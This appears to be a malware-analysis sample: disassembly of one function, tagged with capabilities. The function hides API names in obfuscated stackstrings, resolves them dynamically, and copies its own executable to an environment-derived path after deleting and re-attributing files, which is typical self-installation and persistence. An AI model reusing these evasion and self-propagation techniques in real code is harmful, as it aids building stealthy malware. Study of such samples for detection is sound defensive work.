Function at 0x100177a0
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x228
cmp eax, 1
push ebp
push esi
push edi
jne 0x100179d1
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x74
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x20], cl
mov byte [esp + 0x26], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], 0x72
mov byte [esp + 0x17], dl
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x2a], 0x45
mov byte [esp + 0x2b], 0x76
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2f], 0x41
mov byte [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x37a
push 0x10018cd8
mov ebp, eax
call fcn.100173e0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [esp + 0x244]
add esp, 0xc
push 0x104
push 0x10022fe0
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0x2c]
push 0x104
push eax
push 0x10018f4c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
push 0x10018f4c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10022fe0
mov edx, ecx
mov esi, edi
mov edi, 0x10018f4c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1001791a
mov eax, dword [esp + 0x238]
mov dword [0x10022f90], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10022f80], eax
call fcn.1000b8a0
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x228
ret 0xc
push 0x100194a8
push 0
push 0
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.1000a420
push 0x10018f4c
call fcn.100165d0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push 0x10018f4c
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, 0x1001947c
lea edi, [esp + 0x130]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x15c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x130]
push ecx
call fcn.10016660
add esp, 4
call fcn.10016930
call fcn.10016b30
push 0x1000
push 0x10018f4c
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x10018f4c
push 0x10022fe0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x10018f4c
call fcn.100170a0
add esp, 4
call fcn.100167b0
call fcn.100166f0
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x228
ret 0xc